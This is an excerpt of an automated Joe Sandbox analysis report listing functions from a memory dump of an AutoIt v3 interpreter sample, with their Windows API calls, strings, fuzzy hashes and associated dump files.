Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: 0397ceff4338b9f321e1fdd8b75049a900741ae82671cf5ef477ff2ff77a7a57
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: A9215C72A28B41CAEB14CB18F48976A77A0F78C799F144238E78D86664CFBED045CB04

Function 00007FF6BB127EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142D8E
Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142D9C
Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DAC
Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DBC
Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DCA
Part of subcall function 00007FF6BB142D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6BB127FA5), ref: 00007FF6BB142DD8

Part of subcall function 00007FF6BB13EEC8: RegisterWindowMessageW.USER32 ref: 00007FF6BB13EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB12106D), ref: 00007FF6BB128209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB12106D), ref: 00007FF6BB12828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB12106D), ref: 00007FF6BB16D36A

Strings

AutoIt, xrefs: 00007FF6BB127F46

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 2ab46715fe745966601e71ad3eb271fad6f23e259a9426a1d88fe888e87af853
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: 48C1F631D18B6689E648DF1CEA8207677A4FF9D344F58023AE64DC2671EF7EA141C790

Function 00007FF6BB1272C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF6BB12739E
Shell_NotifyIconW.SHELL32 ref: 00007FF6BB1273AC
LoadStringW.USER32 ref: 00007FF6BB16CE12

Strings

Line: , xrefs: 00007FF6BB16CE52

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: d297a7005dd5db4d80d7ddfa981a4a2ba83f86c4ab3c19e1d6fa449eee743d8e
Instruction ID: a75e3aabb3544560175ad05d5193e744928dfb49097bb796a2be02e035d8a6f9
Opcode Fuzzy Hash: d297a7005dd5db4d80d7ddfa981a4a2ba83f86c4ab3c19e1d6fa449eee743d8e
Instruction Fuzzy Hash: 76415772A0C68696E724DB28D4412FA2361FB4D38CF945031D74D836BADF7DDA44CB50

Function 00007FF6BB123F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF6BB16BAA2

Part of subcall function 00007FF6BB1256D4: GetFullPathNameW.KERNEL32(?,00007FF6BB1256C1,?,00007FF6BB127A0C,?,?,?,00007FF6BB12109E), ref: 00007FF6BB1256FF

Part of subcall function 00007FF6BB123EB4: GetLongPathNameW.KERNELBASE ref: 00007FF6BB123ED8

Strings

au3, xrefs: 00007FF6BB16BA80
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF6BB16BA74
Run Script:, xrefs: 00007FF6BB16BA4D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: f361dcf238719f6611ad29c16556a703da98641906c2f6c157685f089661991b
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: 4E312A72608B8289E710DB29E8401A9B7A4FB4EB88F584175DB8D87B66DF7CD545CB00

Function 00007FF6BB126F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6BB126F52,?,?,?,?,?,?,00007FF6BB12782C), ref: 00007FF6BB126FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6BB126F52,?,?,?,?,?,?,00007FF6BB12782C), ref: 00007FF6BB126FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF6BB126F52,?,?,?,?,?,?,00007FF6BB12782C), ref: 00007FF6BB126FFA

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: 8d49a1a9b6f050a2ce40a9f0a2ffd73fbc797690e9dedca0687d838a7f66b252
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 1A215B33A18B4187D7508F29F45096E73A4FB5EB88B441135EB8D83B64DF39E814CB44

Function 00007FF6BB149118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6BB1490FC), ref: 00007FF6BB149140
TerminateProcess.KERNEL32(?,?,?,00007FF6BB1490FC), ref: 00007FF6BB14914B
ExitProcess.KERNEL32 ref: 00007FF6BB14915A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: 6b2a93a9e7b29d96139ed07f17d0589cf926c6f14c05e559ac0ccdf566ea98aa
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: FEE01A20B0430586EB046F69AC897792352BF8DBADF045038CA0E823A2CE7DE8088600

Function 00007FF6BB1366C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6BB136C05

Strings

CALL, xrefs: 00007FF6BB136BCE

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: a6f8f33fe4d4fd6ea842ce091de208e213b646c430acc02fb6fb97649c6949bd
Instruction ID: 74d31b0befb0e955898211c536677646a2492540a18f838b96b3b18ac8e0e628
Opcode Fuzzy Hash: a6f8f33fe4d4fd6ea842ce091de208e213b646c430acc02fb6fb97649c6949bd
Instruction Fuzzy Hash: 01226672B08A429AEB25CF69D4902BC37A1FB48B8CF544136DB4D977A9EF38E455C340

Function 00007FF6BB126838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6BB1268A2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8728097841867d9633bd17134d567205ec95521954fd3f90ca87c21f00f22551
Instruction ID: 0e3f4e5cede21241345ffe31011688122382ac9c84b8414b03f662b2fa72dc95
Opcode Fuzzy Hash: 8728097841867d9633bd17134d567205ec95521954fd3f90ca87c21f00f22551
Instruction Fuzzy Hash: 4E416C72A0874286F7649F18E41433977A0FB8ABACF144235DB6E876E9CF7DE4448B40

Function 00007FF6BB126460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB126D64: LoadLibraryA.KERNEL32(?,?,?,00007FF6BB126490), ref: 00007FF6BB126D7B
Part of subcall function 00007FF6BB126D64: GetProcAddress.KERNEL32(?,?,?,00007FF6BB126490), ref: 00007FF6BB126D93

FreeLibrary.KERNEL32 ref: 00007FF6BB1264BA
LoadLibraryExW.KERNELBASE ref: 00007FF6BB1264E4

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction ID: a6d049f62959492bf4b52cccb7c121ee2ee6db5e82e2eb421169c85d03891fa6
Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction Fuzzy Hash: CF413B22B14A569AEB20DF29D8513BC23A0FB49B8CF454131EB4D876AADF7CD958C740

Function 00007FF6BB126258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF6BB126350

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction ID: 3b5be988341553ed743dd2c93e39344cdd90b1107824f25d218c8b4e5f5ffc50
Opcode Fuzzy Hash: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction Fuzzy Hash: 2A418C32A09B8586EB658F19E4403A933A8FB4DB8CF080135EB4D877A9CF7DE654C750

Function 00007FF6BB123730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF6BB123756

Part of subcall function 00007FF6BB149334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB149348

Part of subcall function 00007FF6BB1236E8: SystemParametersInfoW.USER32 ref: 00007FF6BB123705
Part of subcall function 00007FF6BB1236E8: SystemParametersInfoW.USER32 ref: 00007FF6BB123725

Part of subcall function 00007FF6BB1237B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB1237F2
Part of subcall function 00007FF6BB1237B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB123807
Part of subcall function 00007FF6BB1237B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB12388D
Part of subcall function 00007FF6BB1237B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB123924

SystemParametersInfoW.USER32 ref: 00007FF6BB123797

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: dd69c789a58ea403dbedaa251fe863f47f54b1e5e9371ea09ac1118adbcd66b5
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: 0D01F670E0C2528EF718ABA9F9565B6A661FF4D708F480035E70DC62B2DE3EB4858701

Function 00007FF6BB15B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6BB15B3D6
GetLastError.KERNEL32 ref: 00007FF6BB15B3E8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: 7bdf76afeb1d6079c1863e70abe138991732fa551ad0982cc14e1fb230a8715a
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: 6FE08C20E69143C2FF08ABBAE80417D2691BF4CB49B448030CB0DCA272EE2CE5854708

Function 00007FF6BB1604B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6BB16051B
GetLastError.KERNEL32 ref: 00007FF6BB160525

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 9a865d95fe57717b3d689e70d1302ac5601e607ec264a84929aab43626d23555
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: 07118632F0C64245FEA4976CA5D827C16D57F9D7ACF540139DB2FC62F2DD6CA8458201

Function 00007FF6BB131475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6BB131990

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: f93ec442a7ba0cc11a5443e7b35fed9f8b1ff32b547cd1dd2020b4df4ad6a075
Instruction ID: 1b97be30ebccbf935eb5ae4808a13f4d2d25604f812852ba40d878869424acf8
Opcode Fuzzy Hash: f93ec442a7ba0cc11a5443e7b35fed9f8b1ff32b547cd1dd2020b4df4ad6a075
Instruction Fuzzy Hash: 5732AF62A0868296EB70CB1AD4502BE6761FB8DB8CF548132DB4D877B5EF7DE491C700

Function 00007FF6BB1820D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6BB1820E2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: cb3b563c9bae86d5fb57f226a3b9ee124728bc7809abe3ea7234cdf0d490f06d
Instruction ID: a01540639eeee218aa5ac017a6ae5440b9eb49d298d7c168bc3b904550cad4b7
Opcode Fuzzy Hash: cb3b563c9bae86d5fb57f226a3b9ee124728bc7809abe3ea7234cdf0d490f06d
Instruction Fuzzy Hash: 5D415832B08A419AEB219F69D4903AC23A0FB48B8CF544535CF0DA77AADF7CE495C340

Function 00007FF6BB148FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BB148FD4

Part of subcall function 00007FF6BB149164: GetModuleHandleExW.KERNEL32 ref: 00007FF6BB149184
Part of subcall function 00007FF6BB149164: GetProcAddress.KERNEL32 ref: 00007FF6BB14919A
Part of subcall function 00007FF6BB149164: FreeLibrary.KERNEL32 ref: 00007FF6BB1491BF

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 3c7f07c3511276dc5a73da4107dace223f58eb27f7a8df2fad40b44aa7cd61a4
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 67418D61A1865286FA649F1DE9A12782365BF98B8CF444039DB0DC76F1DE7EE8418B40

Function 00007FF6BB166D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB166D34

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: 128d6651fda6a913d138a9bacee92a8953a5811e56e9d8e3b248219e629cf33d
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: 1F21A73261864287D7658F2DE4403B976A1FB89B98F144234DB9EC66E5DF2CD800C700

Function 00007FF6BB1548E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

